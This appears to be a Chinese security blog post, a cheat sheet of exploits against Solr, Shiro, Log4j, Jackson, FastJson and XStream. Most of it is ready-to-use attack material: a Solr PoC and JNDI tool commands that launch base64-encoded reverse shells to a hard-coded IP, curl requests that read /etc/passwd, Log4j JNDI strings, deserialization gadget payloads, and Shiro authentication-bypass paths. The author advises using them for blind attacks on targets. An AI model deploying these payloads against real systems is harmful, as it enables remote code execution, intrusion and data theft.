组件安全(Solr、Shiro、Log4j、Jackson、FastJson、XStream)

Solr

主要基于HTTP和 Apache Lucene 实现的全文搜索服务器。
特征:图标识别

 端口:8393

CVE-2019-0193(远程命令执行漏洞)

漏洞版本:Apache Solr < 8.2.0

利用条件:

  1. Apache Solr DataImportHandler 启用了模块 DataImportHandler ( 默认不会被启用 )
  2. Solr admin UI未开启鉴权验证(默认情况无需任何验证)

POC:

<dataConfig>

<dataSource type="URLDataSource"/>

<script><![CDATA[

          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");

}

]]></script>

<document>

<entity name="stackoverflow"

            url="https://stackoverflow.com/feeds/tag/solr"

            processor="XPathEntityProcessor"

            forEach="/feed"

            transformer="script:poc" />

</document>

</dataConfig>

 CVE-2019-17558(命令执行)

影响版本:Apache Solr 5.0.0版本至8.3.1

利用:直接使用工具执行命令

 工具:https://github.com/jas502n/solr_rce

CVE-2021-27905(文件读取)

全版本官方拒绝修复该漏洞。

利用:

  1. 获取数据库名  /solr/admin/cores?indexInfo=false&wt=json  数据库名demo
  2. 触发访问

    curl -i -s -k -X $'POST' \

        -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

        $'http://目标地址:8983/solr/demo/config'

    3.任意文件读取

    curl -i -s -k 'http://目标地址:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro

 Java安全框架,能够用于身份验证、授权、加密和会话管理。

特征:数据包cookie中含有rememberMe字段

CVE_2016_4437

影响版本:Apache Shiro <= 1.2.4

利用:直接狐狸工具箱shiro工具梭哈

CVE-2020-11989

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

影响版本:Apache Shiro < 1.7.1

POC:/admin/%20

CVE-2020-1957

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过

影响版本:Apache Shiro < 1.5.3

POC:/xxx/..;/admin/

Log4j

Apache 的一个开源项目,是一个基于 Java 的日志记录框架。

CVE-2021-44228

 Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

影响版本:Apache Log4j2 2.0 - 2.15.0-rc1

漏洞产生原因:

  1. 对应漏洞存在版本
  2. 使用的logger.error(参数用户可控)  如果使用的logger.info不会有该漏洞
  3. 利用就是把error的参数改成下面我们使用jndi生成的链接;如果不成功,我们可以使用url编码的形式。

利用:

先利用jndi生成执行命令的url(rmi和ldap协议)

反弹shell的命令:

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

 payload:

${jndi:rmi://192.168.1.5:1099/ixsfre}

或者对其采用url编码

 Jackson

当下流行的json解释器,主要负责处理 Json 的序列化和反序列化。

CVE-2020-8840

影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.10.1

jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行 路径Jacksondatabind/attack

利用:

payload:

[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]

CVE-2020-35728

影响版本:FasterXML jackson-databind 2.< 2.9.10.8

jackson-databind存在一处反序列化远程代码执行漏洞(CVE-2020-35728),该漏洞是由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。 路径Jacksondatabind/attack

payload:

payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]"

 FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将 JavaBean 序列化为JSON字符串,也可以从JSON字符串反序列化到 JavaBean
思路:
如果我们发现目标使用java语言且数据包中使用json格式传输数据;那么我们此时就可以乱写一个数据,使其报错,然后查看其报错信息;可能会得知目标使用的组件。
我们如果不知道具体的组件,就可以把json的数据换成payload进行盲打。

FastJson版本<=1.2.24

源码:

pom.xml:

 <dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency></dependencies>

 

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastJson {public static void main(String[] args) {try {// 转换成objectJSONObject jsonToObject = JSON.parseObject("{\n" +"    \"a\":{\n" +"        \"@type\":\"java.lang.Class\",\n" +"        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +"    },\n" +"    \"b\":{\n" +"        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"        \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +"        \"autoCommit\":true\n" +"    }\n" +"}");//return jsonToObject.get("name").toString();} catch (Exception e) {//return e.toString();}}
}

 漏洞利用就是parseObject的参数可控,用户可以使用jndi注入执行任意命令。

payload:

String payload = "{\r\n"

         + "    \"a\": {\r\n"

         + "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"

         + "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"

         + "        \"autoCommit\": true\r\n"

         + "    }\r\n"

         + "}";

FastJson版本<= 1.2.47

 

 <dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version></dependency></dependencies>

 与上面的唯一区别就是换了一个版本。

payload:

"{\n" +"    \"a\":{\n" +"        \"@type\":\"java.lang.Class\",\n" +"        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +"    },\n" +"    \"b\":{\n" +"        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"        \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +"        \"autoCommit\":true\n" +"    }\n" +"}"

FastJson版本<= 1.2.80

上面两种使用的java自带的JdbcRowSetImpl,且使用的是jndi注入,这种对目标的jdk版本要求极高,否则很难成功。

对于<=1.2.80的高版本,我们只能使用目标项目中调用的组件和类文件。

如果目标使用了groovy外部库:可以使用如下POC:

public static void main(String[] args){//依赖1.2.76-1.2.80,依赖groovy//jar包写法见https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7String poc1 = "{\n" +"    \"@type\":\"java.lang.Exception\",\n" +"    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +"    \"unit\":{}\n" +"}";String poc2 = "{\n" +"    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +"    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +"    \"config\":{\n" +"        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +"        \"classpathList\":\"http://192.168.1.4:82/attack-1.jar\"\n" +"    }\n" +"}";System.out.println(poc1);System.out.println(poc2);try {JSON.parseObject(poc1);} catch (Exception e) {}JSON.parseObject(poc2);}
}

这个具体的攻击payload就要看目标引用的外部库和项目中的文件。

fastjsonPOC工具https://github.com/kezibei/fastjson_payload

在实战中我们也不知道目标引入的外部可和具体文件,我们只能根据POC进行盲打,不断的尝试。

XStream

开源 Java 类库,能将对象序列化成XML或XML反序列化为对象。

CVE-2021-21351

XStream是一个简单的基于Java库,Java对象序列化到xml,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。 攻击者可以操纵已处理的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。
影响版本: Xstream <= 1.4.15
利用:
  1. 利用jndi生成rmi/ldap协议的链接
  2. 构造payload提交
  3. 以post形式提交数据,数据内容就是payload,记得修改content-type为xml

​​​​​​​反弹shell命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>rmi://evil-ip:1099/example</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParse reference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

 

 CVE-2021-29505

 XStream是XStream(Xstream)团队的一个轻量级的、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。 通过该漏洞,攻击者构造特定的XML,绕过XStream的黑名单,最终触发反序列化造成任意代码执行。

影响版本:XStream <= 1.4.16

利用:

  1. 攻击机生成反弹shell的反序列化JNDI注入(java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success")
  2. 发送payload数据包

 payload:(记得payload中有两个地方需要改ip)

<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>evil-ip</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>evil-ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>

思路:

我们在实战中确定目标是java环境,然后发现数据包中是以json/xml形式传输数据,那么我们就可以尝试上面这些payload进行盲打。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/922.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二维码门楼牌管理应用平台建设:构建智能社区治理新模式

文章目录 前言一、二维码门楼牌管理应用平台的意义二、走访日志功能的重要性三、走访日志功能的具体应用四、走访日志功能的优势五、结语 前言 在数字化浪潮下&#xff0c;社区管理正面临着前所未有的机遇与挑战。二维码门楼牌管理应用平台的建设&#xff0c;不仅为社区治理提…

代码随想录训练营Day 27|Python|Leetcode|122.买卖股票的最佳时机II ● 55. 跳跃游戏 ● 45.跳跃游戏II

122.买卖股票的最佳时机II 给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支股票第 i 天的价格。 在每一天&#xff0c;你可以决定是否购买和/或出售股票。你在任何时候 最多 只能持有 一股 股票。你也可以先购买&#xff0c;然后在 同一天 出售。 返回 你能获…

fastjson转换json时默认将属性第一个字母转小写

描述&#xff1a; 我新建了一个实体类&#xff0c;但是实体类的首字母是大写的&#xff0c;但是使用fastjson后打印的&#xff0c;Json字符串首字母却是小写的&#xff0c;这是fastjson的一个bug 实体类&#xff1a; Json字符串&#xff1a; 解决方法&#xff1a; 一、使…

HoloLens2的Unity应用在电脑上发布成安装包,然后通过wifi安装到设备

一、VS工程中的鼠标右键 二、发布——>创建应用程序包 三、选择【旁加载】 四、选择签名方法&#xff1a; 五、选择和配置包 六、创建完毕 七、网络连接设备 八、登录设备 九、安装app

六边形酷科技特效单页源码

源码介绍 基于canvas画布绘制多个六边形追踪鼠标&#xff0c;科技感的几何图形酷炫动画特效&#xff0c; 单页html源码&#xff0c;可以做网站动态背景&#xff0c;喜欢的朋友可以拿去 效果截图 完整源码 <!doctype html> <html> <head> <meta charset…

项目7-音乐播放器3(删除模块+播放音乐模块设计)

1.播放音乐模块设计 1.1 请求响应设计 请求&#xff1a; { get, /music/get?pathxxx.mp3 } 响应&#xff1a; { 音乐数据本身的字节信息 } 1.2 后端代码 1. Files.readAllBytes(String path) : 读取文件中的所有字节&#xff0c;读入内存 &#xff…

SpringBoot集成FTP

1.加入核心依赖 <dependency><groupId>commons-net</groupId><artifactId>commons-net</artifactId><version>3.8.0</version></dependency> 完整依赖 <dependencies><dependency><groupId>org.springfra…

蛋白质亚细胞定位预测(生物信息学工具-017)

直奔主题&#xff0c;下面这张表图怎么制作&#xff0c;一般都是毕业论文hh&#xff0c;蛋白质的亚细胞定位如何预测&#xff1f; 01 方法 https://wolfpsort.hgc.jp/ #官网小程序&#xff0c;简单好用&#xff0c;不用R包&#xff0c;python包&#xff0c;linux程序&#x…

微服务使用SockJs+Stomp实现Websocket 前后端实例 | Vuex形式断开重连、跨域等等问题踩坑(一)

大家好&#xff0c;我是程序员大猩猩。 之前几篇文章&#xff0c;我们讲了Spring Cloud Gateway的轻量级实现&#xff0c;Nginx的配置概念与实现&#xff0c;如以下往期文章。 轻量级的Spring Cloud Gateway实践&#xff0c;实现api和websocket转发轻松实现Nginx的HTTP与WebS…

基于Springboot+Vue的Java项目-网上超市系统开发实战(附演示视频+源码+LW)

大家好&#xff01;我是程序员一帆&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &am…

平衡二叉树(后序遍历,力扣110)

解题思路&#xff1a;采取后序遍历的好处是先遍历节点得到高度&#xff0c;然后再判断高度差是否大于一&#xff0c;如果是的话就返回-1&#xff0c;不是就返回两高度中较大的高度加一就是父节点的高度 具体代码如下&#xff1a; class Solution { public: int travel(TreeN…

# 从浅入深 学习 SpringCloud 微服务架构(三)注册中心 Eureka(2)

从浅入深 学习 SpringCloud 微服务架构&#xff08;三&#xff09;注册中心 Eureka&#xff08;2&#xff09; 段子手168 1、搭建 EurekaServer 注册中心&#xff0c;使用 Eureka 的步骤&#xff1a; 1&#xff09;搭建 EurekaServer 创建工程&#xff0c;导入依赖坐标&…

论文阅读-Multiple Targets Directed Greybox Fuzzing (Hongliang Liang,2024)

标题: Multiple Targets Directed Greybox Fuzzing (Hongliang Liang,2024) 作者: Hongliang Liang, Xinglin Yu, Xianglin Cheng, Jie Liu, Jin Li 期刊: IEEE Transactions on Dependable and Secure Computing 研究问题: 发现局限性&#xff1a;之前的定向灰盒测试在有…

“中医显示器”是人体健康监测器

随着科技的进步&#xff0c;现代医学设备已经深入到了人们的日常生活中。然而&#xff0c;在这个过程中&#xff0c;我们不应忘记我们的医学根源&#xff0c;中医。我们将中医的望、闻、问、切四诊与现代科技相结合&#xff0c;通过一系列的传感器和算法将人体的生理状态以数字…

部署Hyperledger Fabric测试区块链网络

一. 快速启动区块链测试网络 启动Fabric虚拟机 将 fabric-samples.zip 拷贝进虚拟机 ubzip fabric-samples.zip 解压并重命名为fabric-samples mv fabric-samples-main fabric-samples 拷贝bin和config目录 cd fabric-samples cp ~/fabric/bin bin -r cp ~/fabric/config …

圣地亚哥 Toler 小学利用School AI帮助每个学生都有自己的聊天机器人,提高学习兴趣和效率

圣地亚哥 Toler 小学利用 AI 程序 SchoolAI 平台为学生创建个性化的聊天机器人&#xff0c;帮助他们更好地学习和提问。这个 AI 程序让学生可以在几秒钟内得到问题的答案&#xff0c;激发了他们提出更多问题的好奇心。 管理、调节和指导学生如何通过任务控制使用人工智能。 当…

Linux程序的地址空间,进程终止

个人主页&#xff1a;点我进入主页 专栏分类&#xff1a;C语言初阶 C语言进阶 数据结构初阶 Linux C初阶 算法 欢迎大家点赞&#xff0c;评论&#xff0c;收藏。 一起努力&#xff0c;一起奔赴大厂 一.程序的地址空间 1.1程序的地址空间的引入 我们知道frok可以创建…

【SpringBoot实战篇】获取用户详细信息

1 明确需求 1需要获取用户详细信息 2 接口文档 1基本信息 2请求参数 无 3 响应数据 响应数据类型&#xff1a;application/json 响应参数说明&#xff1a; 响应数据样例 3 思路分析 1用户名在请求头里获取 4 开发 4.1 控制器usercontroller GetMapping("/userInfo")p…

实用软件与高效工具汇总(持续更新...)

名人说&#xff1a;莫愁千里路&#xff0c;自有到来风。 ——钱珝 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、软件1、文件搜索类2、截图贴图类3、软件卸载类4、录屏gif类5、护眼调光类6、流程绘图类7、图片…

怎么压缩图片200k以下?压缩图片到指定大小

在工作中&#xff0c;会遇到在某些系统要上传照片&#xff0c;但是对于上传的照片大小有限制&#xff0c;比如限制大小不能超过200KB等&#xff0c;而外业拍摄的照片往往会超过限制的大小&#xff0c;那么这时就需要对照片进行压缩。尤其是我们在面对大量图片需要处理的时候&am…